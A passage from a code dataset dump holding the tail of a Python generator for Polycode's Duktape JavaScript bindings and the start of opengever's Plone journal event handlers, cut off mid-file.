(c[\"name\"], pp[\"name\"], self.libName, c[\"name\"], pp[\"name\"])\n\n\t\t\t\tself.wrappersHeaderBody += \"\\tduk_ret_t %s_%s__set_%s(duk_context *context) {\\n\" % (self.libName, c[\"name\"], pp[\"name\"])\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s *inst = (%s*)duk_to_pointer(context, 0);\\n\" % (c[\"name\"], c[\"name\"])\n\n\t\n\t\t\t\toutfunc = \"this_shouldnt_happen\"\n\n\t\t\t\tif \"*\" in pp[\"type\"]:\n\t\t\t\t\toutfunc = \"(%s)duk_to_pointer\" % (pp[\"type\"])\n\t\t\t\telse:\n\t\t\t\t\toutfunc = \"*(%s*)duk_to_pointer\" % (pp[\"type\"])\n\t\t\t\tif pp[\"type\"] == \"int\":\n\t\t\t\t\toutfunc = \"duk_to_int\"\n\t\t\t\tif pp[\"type\"] == \"PolyKEY\":\n\t\t\t\t\toutfunc = \"(PolyKEY)duk_to_int\"\n\t\t\t\tif pp[\"type\"] == \"Number\":\n\t\t\t\t\toutfunc = \"duk_to_number\"\n\t\t\t\tif pp[\"type\"] == \"bool\":\n\t\t\t\t\toutfunc = \"duk_to_boolean\"\n\t\t\t\tif pp[\"type\"] == \"String\":\n\t\t\t\t\toutfunc = \"duk_to_string\"\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\tinst->%s = %s(context, 1);\\n\" % (pp[\"name\"], outfunc)\n\t\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 0;\\n\"\n\t\t\t\tself.wrappersHeaderBody += \"\\t}\\n\\n\"\n\n\tdef makeJSProperties(self, c):\n\t\tif len(c[\"properties\"]) > 0:\n\t\t\tself.jsClassOut += \"\\tObject.defineProperties(this, {\\n\"\n\t\t\tidx = 0\n\t\t\tfor pp in c[\"properties\"]:\n\t\t\t\tself.jsClassOut += \"\\t\\t'%s': { enumerable: true, configurable: true, get: %s.prototype.__get_%s, set: %s.prototype.__set_%s}\" % (pp[\"name\"], c[\"name\"], pp[\"name\"], c[\"name\"], pp[\"name\"])\n\t\t\t\tif idx < len(c[\"properties\"])-1:\n\t\t\t\t\tself.jsClassOut += \",\"\n\t\t\t\tself.jsClassOut += \"\\n\"\n\n\t\t\t\tidx += 1\n\t\t\tself.jsClassOut += \"\\t})\\n\"\n\n\tdef makeJSMethods(self, c):\n\t\tfor method in c[\"methods\"]:\n\t\t\tif method[\"name\"] != c[\"name\"]:\n\t\t\t\tself.jsClassOut += \"\\n%s.prototype.%s = function(\" % (c[\"name\"], method[\"name\"])\n\t\t\t\tparams = \",\".join(str(p[\"name\"]) for p in method[\"parameters\"])\n\t\t\t\tself.jsClassOut += params\n\t\t\t\tself.jsClassOut += \") {\\n\"\n\t\t\t\tself.cppRegisterOut += \"\\t\\t\\t{\\\"%s_%s\\\", %s_%s_%s, %d},\\n\" % (c[\"name\"], method[\"name\"], self.libName, c[\"name\"], method[\"name\"], len(method[\"parameters\"]) + 1)\n\t\t\t\tself.wrappersHeaderBody += \"\\tduk_ret_t %s_%s_%s(duk_context *context) {\\n\" % (self.libName, c[\"name\"], method[\"name\"])\n\n\t\t\t\tif not method[\"isStatic\"]:\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *inst = (std::shared_ptr<%s>*)duk_to_pointer(context, 0);\\n\" % (c[\"name\"], c[\"name\"])\n\n\t\t\t\tidx = 1\n\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\tidx = 0\n\t\t\t\tfor p in method[\"parameters\"]:\n\t\t\t\t\tif \"*\" in p[\"type\"]:\n\t\t\t\t\t\toutfunc = \"*(std::shared_ptr<%s>*)duk_to_pointer\" % (p[\"cleanType\"])\n\t\t\t\t\t\touttype = \"std::shared_ptr<%s>\" % p[\"cleanType\"]\n\t\t\t\t\telse:\n\t\t\t\t\t\toutfunc = \"*(%s*)duk_to_pointer\" % (p[\"type\"])\n\t\t\t\t\t\touttype = \"%s\" % p[\"type\"]\n\t\t\t\t\tif p[\"type\"] == \"int\":\n\t\t\t\t\t\toutfunc = \"duk_to_int\"\n\t\t\t\t\t\touttype = \"int\"\n\t\t\t\t\tif p[\"type\"] == \"PolyKEY\":\n\t\t\t\t\t\toutfunc = \"(PolyKEY)duk_to_int\"\n\t\t\t\t\t\touttype = \"PolyKEY\"\n\t\t\t\t\tif p[\"type\"] == \"Number\":\n\t\t\t\t\t\toutfunc = \"duk_to_number\"\n\t\t\t\t\t\touttype = \"Number\"\n\t\t\t\t\tif p[\"type\"] == \"bool\":\n\t\t\t\t\t\toutfunc = \"duk_to_boolean\"\n\t\t\t\t\t\touttype = \"bool\"\n\t\t\t\t\tif p[\"type\"] == \"String\":\n\t\t\t\t\t\toutfunc = \"duk_to_string\"\n\t\t\t\t\t\touttype = \"String\"\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s %s = %s(context, %d);\\n\" % (outtype, p[\"name\"], outfunc, idx)\n\t\t\t\t\tidx += 1\n\n\t\t\t\tjsRet = \"\"\n\t\t\t\tfinalOut = \"\"\n\t\t\t\tif self.isVectorType(method[\"type\"]):\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 0;\\n\"\n\t\t\t\telif method[\"type\"] == \"void\" or method[\"type\"] == \"static void\" or method[\"type\"] == \"virtual void\" or method[\"type\"] == \"inline void\" or method[\"type\"] == \"void*\":\n\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s::%s(%s);\\n\" % (c[\"name\"], method[\"name\"], params)\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t(*inst)->%s(%s);\\n\" % (method[\"name\"], params)\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 0;\\n\"\n\t\t\t\telse:\n\t\t\t\t\toutfunc = \"this_shouldnt_happen\"\n\t\t\t\t\tretFunc = \"\"\n\t\t\t\t\tif method[\"type\"] == \"Number\" or method[\"type\"] == \"inline Number\":\n\t\t\t\t\t\toutfunc = \"duk_push_number\"\n\t\t\t\t\tif method[\"type\"] == \"String\" or method[\"type\"] == \"static String\": # TODO: Path for STL strings?\n\t\t\t\t\t\toutfunc = \"duk_push_string\"\n\t\t\t\t\t\tretFunc = \".c_str()\"\n\t\t\t\t\tif method[\"type\"] == \"int\" or method[\"type\"] == \"unsigned int\" or method[\"type\"] == \"static int\" or method[\"type\"] == \"size_t\" or method[\"type\"] == \"static size_t\" or method[\"type\"] == \"long\" or method[\"type\"] == \"unsigned int\" or method[\"type\"] == \"static long\" or method[\"type\"] == \"short\" or method[\"type\"] == \"PolyKEY\" or method[\"type\"] == \"wchar_t\":\n\t\t\t\t\t\toutfunc = \"duk_push_int\"\n\t\t\t\t\tif method[\"type\"] == \"bool\" or method[\"type\"] == \"static bool\" or method[\"type\"] == \"virtual bool\":\n\t\t\t\t\t\toutfunc = \"duk_push_boolean\"\n\t\t\t\t\t\n\t\t\t\t\tif method[\"type\"].find(\"*\") > -1: # Returned var is definitely a pointer.\n\t\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tPolyBase *ptrRetVal = (PolyBase*)%s::%s(%s)%s;\\n\" % (c[\"name\"], method[\"name\"], params, retFunc)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tPolyBase *ptrRetVal = (PolyBase*)(*inst)->%s(%s)%s;\\n\" % (method[\"name\"], params, retFunc)\n\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tduk_push_pointer(context, (void*)ptrRetVal);\\n\"\n\t\t\t\t\t\tjsRet = \"var retVal = new %s(\\\"__skip_ptr__\\\")\\n\\tretVal.__ptr = \" % (method[\"cleanType\"])\n\t\t\t\t\t\tfinalOut = \"\\treturn retVal\\n\"\n\t\t\t\t\telif self.isBasicType(method[\"type\"]) == True:\n\t\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s(context, %s::%s(%s)%s);\\n\" % (outfunc, c[\"name\"], method[\"name\"], params, retFunc);\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t%s(context, (*inst)->%s(%s)%s);\\n\" % (outfunc, method[\"name\"], params, retFunc);\n\t\t\t\t\t\tjsRet = \"return \"\n\t\t\t\t\telse: \n\t\t\t\t\t\tclassName = method[\"type\"].replace(\"const\", \"\").replace(\"&\", \"\").replace(\"inline\", \"\").replace(\"virtual\", \"\").replace(\"static\", \"\")\n\t\t\t\t\t\tif className == \"Polygon\": # Deal with potential windows.h conflict\n\t\t\t\t\t\t\tclassName = \"Polycode::Polygon\"\n\t\t\t\t\t\tif className == \"Rectangle\":\n\t\t\t\t\t\t\tclassName = \"Polycode::Rectangle\"\n\t\t\t\t\t\tif className == \"Polycode : : Rectangle\":\n\t\t\t\t\t\t\tclassName = \"Polycode::Rectangle\"\n\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tstd::shared_ptr<%s> *retInst = new std::shared_ptr<%s>;\\n\" % (className, className)\n\n\t\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t*(*retInst) = %s::%s(%s)%s;\\n\" % (c[\"name\"], method[\"name\"], params, retFunc)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\t*(*retInst) = (*inst)->%s(%s)%s;\\n\" % (method[\"name\"], params, retFunc)\n\t\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\tduk_push_pointer(context, (void*)retInst);\\n\"\n\t\t\t\t\t\tjsRet = \"var retVal = new %s(\\\"__skip_ptr__\\\")\\n\\tretVal.__ptr = \" % (method[\"cleanType\"])\n\t\t\t\t\t\tfinalOut = \"\\treturn retVal\\n\"\n\t\t\t\t\tself.wrappersHeaderBody += \"\\t\\treturn 1;\\n\"\n\n\t\t\t\tself.wrappersHeaderBody += \"\\t}\\n\\n\"\n\n\t\t\t\tif len(params) > 0:\n\t\t\t\t\tjsParams = \"\"\n\t\t\t\t\tjidx = 0\n\t\t\t\t\tfor jp in method[\"parameters\"]:\n\t\t\t\t\t\tif jp[\"type\"].find(\"*\") > -1:\n\t\t\t\t\t\t\tjsParams += \"%s.__ptr\" % jp[\"name\"]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tjsParams += jp[\"name\"]\n\t\t\t\t\t\tjidx += 1\n\t\t\t\t\t\tif jidx < len(method[\"parameters\"]):\n\t\t\t\t\t\t\tjsParams += \", \"\n\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\tself.jsClassOut += \"\\t%s%s.%s_%s(%s)\\n\" % (jsRet, self.libName, c[\"name\"], method[\"name\"], jsParams)\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.jsClassOut += \"\\t%s%s.%s_%s(this.__ptr, %s)\\n\" % (jsRet, self.libName, c[\"name\"], method[\"name\"], jsParams)\n\t\t\t\telse:\n\t\t\t\t\tif method[\"isStatic\"]:\n\t\t\t\t\t\tself.jsClassOut += \"\\t%s%s.%s_%s()\\n\" % (jsRet, self.libName, c[\"name\"], method[\"name\"])\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.jsClassOut += \"\\t%s%s.%s_%s(this.__ptr)\\n\" % (jsRet, self.libName, c[\"name\"], method[\"name\"])\n\t\t\t\tself.jsClassOut += finalOut\n\t\t\t\tself.jsClassOut += \"}\\n\"\n\t\n\tdef isBasicType(self, t):\n\t\tbasicTypes = [\"int\", \"Number\", \"String\", \"PolyKEY\", \"bool\"]\n\t\tif t in basicTypes:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\n\tdef isVectorType(self, t):\n\t\tif t.find(\"<\") > -1 and t.find(\"vector\") > -1:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef finalize(self):\n\t\tfout = open(\"%s/%s.js\" % (self.config.get('js', 'JSApiDirectory'), self.libName), \"w\")\n\t\tfout.write(self.jsIndexOut)\n\t\tself.jsClassOut = \"\"\n\t\n\t\twith open(self.config.get('js', 'WrapperHeaderTemplate'), 'r') as f:\n\t\t\tout = f.read().replace(\"%HEADERS%\", self.wrappersHeaderList)\n\t\t\tout = out.replace(\"%BODY%\", self.wrappersHeaderBody)\n\t\t\tfout = open(self.config.get('js', 'WrapperHeaderTarget'), \"w\")\n\t\t\tfout.write(out)\n\t\t\tfout.close()\n\n\t\twith open(self.config.get('js', 'WrapperMainHeaderTemplate'), 'r') as f:\n\t\t\tout = f.read().replace(\"%BODY%\", \"int _PolyExport jsopen_%s(duk_context *ctx);\" % self.libName)\n\t\t\tfout = open(self.config.get('js', 'WrapperMainHeaderTarget'), \"w\")\n\t\t\tfout.write(out)\n\t\t\tfout.close()\n\n\t\tself.cppRegisterOut += \"\\t\\t\\t{NULL, NULL, 0}\\n\"\n\t\tself.cppRegisterOut += \"\\t};\\n\"\n\t\tself.cppRegisterOut += \"\\tduk_push_global_object(ctx);\\n\"\n\t\tself.cppRegisterOut += \"\\tduk_push_object(ctx);\\n\"\n\t\tself.cppRegisterOut += \"\\tduk_put_function_list(ctx, -1, %s_funcs);\\n\" % (self.libName)\n\t\tself.cppRegisterOut += \"\\tduk_put_prop_string(ctx, -2, \\\"%s\\\");\\n\" % (self.libName)\n\t\tself.cppRegisterOut += \"\\tduk_pop(ctx);\\n\"\n\t\tself.cppRegisterOut += \"\\treturn 1;\\n\"\n\t\tself.cppRegisterOut += \"}\\n\"\n\n\t\twith open(self.config.get('js', 'WrapperSourceTemplate'), 'r') as f:\n\t\t\tout = f.read().replace(\"%BODY%\", self.cppRegisterOut)\n\t\t\tfout = open(self.config.get('js', 'WrapperSourceTarget'), \"w\")\n\t\t\tfout.write(out)\n\t\t\tfout.close()\n\t\n\t\tcurDir = os.path.dirname(os.path.realpath(__file__))\n\t\tpattern = '*.js'\n\t\tos.chdir(self.config.get('js', 'JSApiDirectory'))\n\t\twith ZipFile(\"js_%s.pak\" % (self.libName), 'w') as myzip:\n\t\t\tfor root, dirs, files in os.walk(\".\"):\n\t\t\t\tfor filename in fnmatch.filter(files, pattern):\n\t\t\t\t\tmyzip.write(os.path.join(root, filename))\n\t\tos.chdir(curDir)\n\n\tdef writeClass(self, c):\n\t\tfout = open(\"%s/%s/%s.js\" % (self.config.get('js', 'JSApiDirectory'), self.libName, c[\"name\"]), \"w\")\n\t\tfout.write(self.jsClassOut)\n\t\tself.jsClassOut = \"\"\n\n","sub_path":"scripts/create_bindings/JSBindingsGenerator.py","file_name":"JSBindingsGenerator.py","file_ext":"py","file_size_in_byte":18302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"449171552","text":"from Acquisition import aq_inner\nfrom Acquisition import aq_parent\nfrom OFS.interfaces import IObjectWillBeAddedEvent\nfrom OFS.interfaces import IObjectWillBeRemovedEvent\nfrom opengever.base.behaviors import classification\nfrom opengever.base.browser.paste import ICopyPasteRequestLayer\nfrom opengever.contact.interfaces import IDuringContactMigration\nfrom opengever.document.document import Document\nfrom opengever.document.document import IDocumentSchema\nfrom opengever.dossier.browser.participants import role_list_helper\nfrom opengever.journal import _\nfrom opengever.journal.interfaces import IManualJournalActor\nfrom opengever.journal.manager import JournalManager\nfrom opengever.readonly import is_in_readonly_mode\nfrom opengever.repository.repositoryroot import IRepositoryRoot\nfrom opengever.sharing.browser.sharing import ROLE_MAPPING\nfrom opengever.tabbedview.helper import readable_ogds_author\nfrom plone import api\nfrom plone.app.versioningbehavior.utils import get_change_note\nfrom plone.app.workflow.interfaces import ILocalrolesModifiedEvent\nfrom Products.CMFPlone.interfaces.siteroot import IPloneSiteRoot\nfrom zope.component import getUtility\nfrom zope.container.interfaces import IContainerModifiedEvent\nfrom zope.globalrequest import getRequest\nfrom zope.i18n import translate\nfrom zope.i18nmessageid import MessageFactory\nfrom zope.i18nmessageid.message import Message\nfrom zope.intid.interfaces import IIntIds\nfrom zope.lifecycleevent.interfaces import IObjectAddedEvent\nfrom zope.lifecycleevent.interfaces import IObjectRemovedEvent\n\n\npmf = MessageFactory('plone')\n\n\ndef propper_string(value):\n if not value:\n return ''\n elif isinstance(value, Message):\n return value\n elif isinstance(value, unicode):\n return value.encode('utf8')\n\n else:\n return str(value)\n\n\ndef journal_entry_factory(context, action, title,\n visible=True, comment='', actor=None,\n documents=[]):\n\n request = getRequest()\n if IManualJournalActor.providedBy(request):\n actor = request.get('_manual_journal_actor')\n\n if actor is None:\n actor = api.user.get_current().getId()\n\n comment = comment == '' and get_change_note(request, '') or comment\n title = propper_string(title)\n action = propper_string(action)\n comment = propper_string(comment)\n\n JournalManager(context).add_auto_entry(action, title, visible, comment, actor, documents)\n\n\ndef role_mapping_to_str(context, mapping):\n \"\"\"Parse the given local_roles mapping to a str,\n with the help of the ROLE_MAPPING from opengever.sharing.\n \"\"\"\n skip_roles = [u'Owner', ]\n user_roles = []\n\n for principal, roles in mapping:\n translated_roles = []\n for role in roles:\n if role not in skip_roles:\n translated_roles.append(\n translate(ROLE_MAPPING.get(role), context=context.REQUEST))\n\n if len(translated_roles):\n user_roles.append(\n '%s: %s' % (principal, ', '.join(translated_roles)))\n\n return '; '.join(user_roles)\n\n\ndef translated_type(context):\n \"\"\"\n Returns the translated type name of the context\n \"\"\"\n type_name = context.portal_types.get(context.portal_type).Title()\n return _(unicode(type_name))\n\n\n# ----------------------- REPOSITORYFOLDER --------------\n\ndef get_repository_root(context):\n while not IRepositoryRoot.providedBy(context) \\\n and not IPloneSiteRoot.providedBy(context):\n context = aq_parent(aq_inner(context))\n return context\n\n\nLOCAL_ROLES_AQUISITION_BLOCKED = 'Local roles Aquisition Blocked'\n\n\ndef repository_prefix_unlock(context, event):\n title = _(u'label_prefix_unlocked',\n default=u'Unlocked prefix ${prefix} in ${repository}.',\n mapping={'prefix': event.prefix,\n 'repository': context.title_or_id()})\n\n journal_entry_factory(\n get_repository_root(context),\n REPOSITORY_PREFIX_UNLOCKED,\n title=title)\n\n\nREPOSITORY_PREFIX_UNLOCKED = 'Repository prefix unlocked'\n\n\ndef repositoryfolder_local_roles_acquisition_blocked(context, event):\n title = _(u'label_local_roles_acquisition_blocked_at',\n default=u'Local roles aquistion blocked at ${repository}.',\n mapping={'repository': context.title_or_id(), })\n\n journal_entry_factory(\n get_repository_root(context),\n LOCAL_ROLES_AQUISITION_BLOCKED,\n title=title)\n\n return\n\n\nLOCALROLES_AQUISITION_ACTIVATED = 'Local roles Aquisition Activated'\n\n\ndef repositoryfolder_local_roles_acquisition_activated(context, event):\n\n title = _(u'label_local_roles_acquisition_activated_at',\n default=u'Local roles aquistion activated at ${repository}.',\n mapping={'repository': context.title_or_id(), })\n\n journal_entry_factory(\n get_repository_root(context),\n LOCALROLES_AQUISITION_ACTIVATED,\n title=title)\n\n return\n\n\nLOCAL_ROLES_MODIFIED = 'Local roles modified'\n\n\ndef repositoryfolder_local_roles_modified(context, event):\n\n title = _(u'label_local_roles_modified_at',\n default=u'Local roles modified at ${repository}.',\n mapping={'repository': context.title_or_id(), })\n\n journal_entry_factory(\n get_repository_root(context),\n LOCAL_ROLES_MODIFIED,\n title=title,\n comment=role_mapping_to_str(context, event.new_local_roles))\n\n return\n\n\n# ----------------------- DOSSIER -----------------------\n\nDOSSIER_ADDED_ACTION = 'Dossier added'\n\n\ndef dossier_added(context, event):\n title = _(\n u'label_dossier_added',\n default=u'Dossier added: ${title}',\n mapping={'title': context.title_or_id(), })\n journal_entry_factory(context, DOSSIER_ADDED_ACTION, title)\n return\n\n\nDOSSIER_MODIIFED_ACTION = 'Dossier modified'\n\n\ndef dossier_modified(context, event):\n if ILocalrolesModifiedEvent.providedBy(event) or \\\n IContainerModifiedEvent.providedBy(event):\n return\n\n title = _(\n u'label_dossier_modified',\n default=u'Dossier modified: ${title}',\n mapping={'title': context.title_or_id(), })\n # XXX dirty\n try:\n # if we delete the working copy,\n # we get a aq_based object and don't wanna\n # make a journal entry\n context.portal_types\n except AttributeError:\n return\n journal_entry_factory(\n context, DOSSIER_MODIIFED_ACTION, title, visible=False)\n return\n\n\nDOSSIER_STATE_CHANGED = 'Dossier state changed'\n\n\ndef dossier_state_changed(context, event):\n skip_transactions = []\n if event.action in skip_transactions:\n return\n newstate = event.workflow.transitions.get(event.action).new_state_id\n title = pmf(u'Dossier state changed to %s' % newstate)\n journal_entry_factory(context, DOSSIER_STATE_CHANGED, title)\n return\n\n\nLOCAL_ROLES_AQUISITION_BLOCKED = 'Local roles Aquisition Blocked'\n\n\ndef dossier_local_roles_acquisition_blocked(context, event):\n\n journal_entry_factory(\n context,\n LOCAL_ROLES_AQUISITION_BLOCKED,\n title=_(u'label_local_roles_acquisition_blocked',\n default=u'Local roles aquistion blocked.'))\n\n return\n\n\nLOCAL_ROLES_AQUISITION_ACTIVATED = 'Local roles Aquisition Activated'\n\n\ndef dossier_local_roles_acquisition_activated(context, event):\n\n journal_entry_factory(\n context,\n LOCAL_ROLES_AQUISITION_ACTIVATED,\n title=_(u'label_local_roles_acquisition_activated',\n default=u'Local roles aquistion activated.'))\n\n return\n\n\nLOCAL_ROLES_MODIFIED = 'Local roles modified'\n\n\ndef dossier_local_roles_modified(context, event):\n\n journal_entry_factory(\n context,\n LOCAL_ROLES_MODIFIED,\n title=_(u'label_local_roles_modified',\n default=u'Local roles modified.'),\n comment=role_mapping_to_str(context, event.new_local_roles))\n\n return\n\n\nDOC_PROPERTIES_UPDATED = 'DocProperties updated'\n\n\n# We don't register an eventhandler but call this method directly from\n# opengever.document.handlers\ndef doc_properties_updated(context):\n journal_entry_factory(context, DOC_PROPERTIES_UPDATED,\n title=_(u'label_doc_properties_updated',\n default=u'DocProperties updated.'))\n\n\n# ----------------------- DOCUMENT -----------------------\nDOCUMENT_ADDED_ACTION = 'Document added'\n\n\ndef document_added(context, event):\n title = _(\n u'label_document_added',\n default=u'Document added: ${title}',\n mapping={'title': context.title, })\n # journal_entry for document:\n journal_entry_factory(context, DOCUMENT_ADDED_ACTION, title)\n # journal entry for parent (usually dossier)\n journal_entry_factory(\n context.aq_inner.aq_parent, DOCUMENT_ADDED_ACTION, title)\n return\n\n\ndef reset_journal_history_after_clone(document, event):\n JournalManager(document).clear()\n\n\nDOCUMENT_STATE_CHANGED = 'Document state changed'\n\n\ndef document_state_changed(context, event):\n skip_transactions = [Document.initialize_transition]\n if event.action in skip_transactions:\n return\n newstate = event.workflow.transitions.get(event.action).new_state_id\n title = pmf(u'Document state changed to %s' % newstate)\n journal_entry_factory(context, DOCUMENT_STATE_CHANGED, title)\n return\n\n\nDOCUMENT_MODIIFED_ACTION = 'Document modified'\nPUBLIC_TRIAL_MODIFIED_ACTION = 'Public trial modified'\n\n\ndef document_modified(context, event):\n # we need to distinguish between \"metadata modified\"\n # and \"public_trial modified\"\n metadata_changed = False\n public_trial_changed = False\n\n parent = aq_parent(aq_inner(context))\n\n for desc in event.descriptions:\n for attr in desc.attributes:\n if attr in ('IClassification.public_trial', 'public_trial'):\n # Attribute name is different when changed through regular\n # edit form vs. edit_public_trial form, so check for both\n public_trial_changed = True\n elif attr not in ('file',\n 'message',\n 'IDocumentMetadata.archival_file',\n 'IDocumentSchema.file'):\n # We ignore cases where only the file was modified\n metadata_changed = True\n\n if not metadata_changed and not public_trial_changed:\n # We end up here when only the file has changed.\n # We do not add a journal entry for this, as the important information\n # is the checkin/checkout cycle, which creates a new file version and\n # is being journalized.\n return\n\n if metadata_changed:\n title = _(u'label_document_metadata_modified',\n default=u'Changed metadata')\n parent_title = _(u'label_document_metadata_modified__parent',\n default=u'Changed metadata of document ${title}',\n mapping=dict(title=context.title_or_id()))\n journal_entry_factory(context, DOCUMENT_MODIIFED_ACTION, title)\n\n journal_entry_factory(parent, DOCUMENT_MODIIFED_ACTION, parent_title)\n\n # Always create a separate journal entry on document if public_trial was\n # changed\n if public_trial_changed:\n translated_terms = classification.translated_public_trial_terms(\n context, context.REQUEST)\n translated_public_trial = translated_terms[context.public_trial]\n title = _(u'label_document_public_trial_modified',\n default=u'Public trial changed to \"${public_trial}\".',\n mapping=dict(public_trial=translated_public_trial))\n\n journal_entry_factory(context, PUBLIC_TRIAL_MODIFIED_ACTION, title)\n\n\nDOCUMENT_CHECKED_OUT = 'Document checked out'\n\n\ndef document_checked_out(context, event):\n user_comment = event.comment\n title = _(u'label_document_checkout',\n default=u'Document checked out', )\n journal_entry_factory(context, DOCUMENT_CHECKED_OUT, title,\n comment=user_comment)\n return\n\n\nDOCUMENT_CHECKED_IN = 'Document checked in'\n\n\ndef document_checked_in(context, event):\n if event.suppress_journal_entry_creation:\n return\n user_comment = event.comment\n title = _(u'label_document_checkin',\n default=u'Document checked in', )\n journal_entry_factory(context, DOCUMENT_CHECKED_IN, title,\n comment=user_comment)\n return\n\n\nDOCUMENT_CHECKOUT_CANCEL = 'Canceled document checkout'\n\n\ndef document_checkout_canceled(context, event):\n title = _(u'label_document_checkout_cancel',\n default=u'Canceled document checkout')\n journal_entry_factory(context, DOCUMENT_CHECKOUT_CANCEL, title)\n\n\nDOCUMENT_FILE_REVERTED = 'Reverted document file'\n\n\ndef document_file_reverted(context, event):\n try:\n create = event.create_version\n except AttributeError:\n return\n else:\n if not create:\n return\n\n title = _(u'msg_version_restored', default=u'Version ${version_id} restored',\n mapping={'version_id': event.version_id})\n journal_entry_factory(context, DOCUMENT_FILE_REVERTED, title)\n\n\nFILE_COPY_DOWNLOADED = 'File copy downloaded'\n\n\ndef file_copy_downloaded(context, event):\n if is_in_readonly_mode():\n return\n\n title_unversioned = _(u'label_file_copy_downloaded',\n default=u'Download copy')\n\n if IDocumentSchema.providedBy(context):\n version_id = getattr(event, 'version_id')\n\n if version_id is not None:\n version_string = _(u'label_file_copy_downloaded_version',\n default=u'version ${version_id}',\n mapping={'version_id': version_id})\n else:\n version_string = _(\n u'label_file_copy_downloaded_actual_version',\n default=u'current version (${version_id})',\n mapping={'version_id': getattr(context, 'version_id', 0)})\n\n title = _(u'label_file_copy_downloaded_with_version',\n default=u'${title} ${version_string}',\n mapping={'title': title_unversioned,\n 'version_string': version_string})\n else:\n title = title_unversioned\n\n journal_entry_factory(context, FILE_COPY_DOWNLOADED, title)\n\n\nPDF_DOWNLOADED = 'PDF downloaded'\n\n\ndef pdf_downloaded(context, event):\n if is_in_readonly_mode():\n return\n\n title = _(u'label_pdf_downloaded', default=u'PDF downloaded')\n journal_entry_factory(context, PDF_DOWNLOADED, title)\n\n\nDOCUMENT_SENT = 'Document Sent'\n\n\ndef document_sent(context, event):\n def make_document_event_list(context, items):\n urlstring = ''\n url_template = u'{}{}'\n lastindex = len(items) - 1\n for i, item in enumerate(items):\n comma = '' if lastindex == i else ', '\n urlstring += url_template.format(item['url'], item['title'], comma)\n return urlstring\n\n id_util = getUtility(IIntIds)\n objs = []\n\n for intid in event.intids:\n obj = id_util.getObject(intid)\n url = obj.absolute_url()\n title = obj.Title().decode('utf-8')\n receiver = event.receiver\n message = event.message\n if isinstance(receiver, list):\n receiver = ', '.join(receiver)\n objs.append({'url': url, 'title': title})\n\n title = _(u'label_document_sent',\n default=u'Document sent by Mail: ${subject}',\n mapping={'subject': event.subject.decode('utf-8'), })\n\n comment = translate(\n _(\n u'label_document_sent_comment',\n default=u'Attachments: ${documents} | Receivers: ${receiver} | '\n u'Message: ${message}',\n mapping={\n 'documents': make_document_event_list(context, objs),\n 'receiver': receiver.decode('utf-8'),\n 'message': message.decode('utf-8'),\n },\n ),\n context=context.REQUEST,\n )\n journal_entry_factory(\n context, DOCUMENT_SENT, title, visible=True, comment=comment)\n\n\n# ----------------------- TASK -----------------------\n\nTASK_ADDED_EVENT = 'Task added'\n\n\ndef task_added(context, event):\n title = _(\n u'label_task_added',\n default=u'Task added: ${title}',\n mapping={\n 'title': context.title_or_id(),\n })\n\n # journal entry for parent (usually dossier)\n journal_entry_factory(context.aq_inner.aq_parent, TASK_ADDED_EVENT, title)\n return\n\n\nTASK_MODIIFED_ACTION = 'Task modified'\n\n\ndef task_modified(context, event):\n if IContainerModifiedEvent.providedBy(event):\n return\n\n title = _(\n u'label_task_modified',\n default=u'Task modified: ${title}',\n mapping={'title': context.title_or_id(), })\n # XXX dirty\n try:\n # if we delete the working copy,\n # we get a aq_based object and don't wanna\n # make a journal entry\n context.portal_types\n except AttributeError:\n return\n\n journal_entry_factory(\n context.aq_inner.aq_parent, TASK_MODIIFED_ACTION, title)\n return\n\n\nOBJECT_MOVE_TO_TRASH = 'Object moved to trash'\n\n\ndef document_trashed(context, event):\n title = _(\n u'label_to_trash',\n default=u'Object moved to trash: ${title}',\n mapping={\n 'title': context.title_or_id(),\n })\n\n journal_entry_factory(context, OBJECT_MOVE_TO_TRASH, title)\n journal_entry_factory(\n context.aq_inner.aq_parent, OBJECT_MOVE_TO_TRASH, title)\n return\n\n\nOBJECT_RESTORE = 'Object restore'\n\n\ndef document_untrashed(context, event):\n title = _(\n u'label_restore',\n default=u'Object restored: ${title}',\n mapping={\n 'title': context.title_or_id(),\n })\n journal_entry_factory(context, OBJECT_RESTORE, title)\n journal_entry_factory(context.aq_inner.aq_parent, OBJECT_RESTORE, title)\n return\n\n\nOBJECT_REMOVED = 'Object removed'\n\n\ndef document_removed(context, event):\n if event.action == context.remove_transition:\n title = _(u'label_document_removed',\n default=u'Document ${title} removed.',\n mapping={'title': context.title_or_id()})\n\n parent = aq_parent(aq_inner(context))\n journal_entry_factory(context, OBJECT_REMOVED, title)\n journal_entry_factory(parent, OBJECT_REMOVED, title)\n\n return\n\n\nOBJECT_RESTORED = 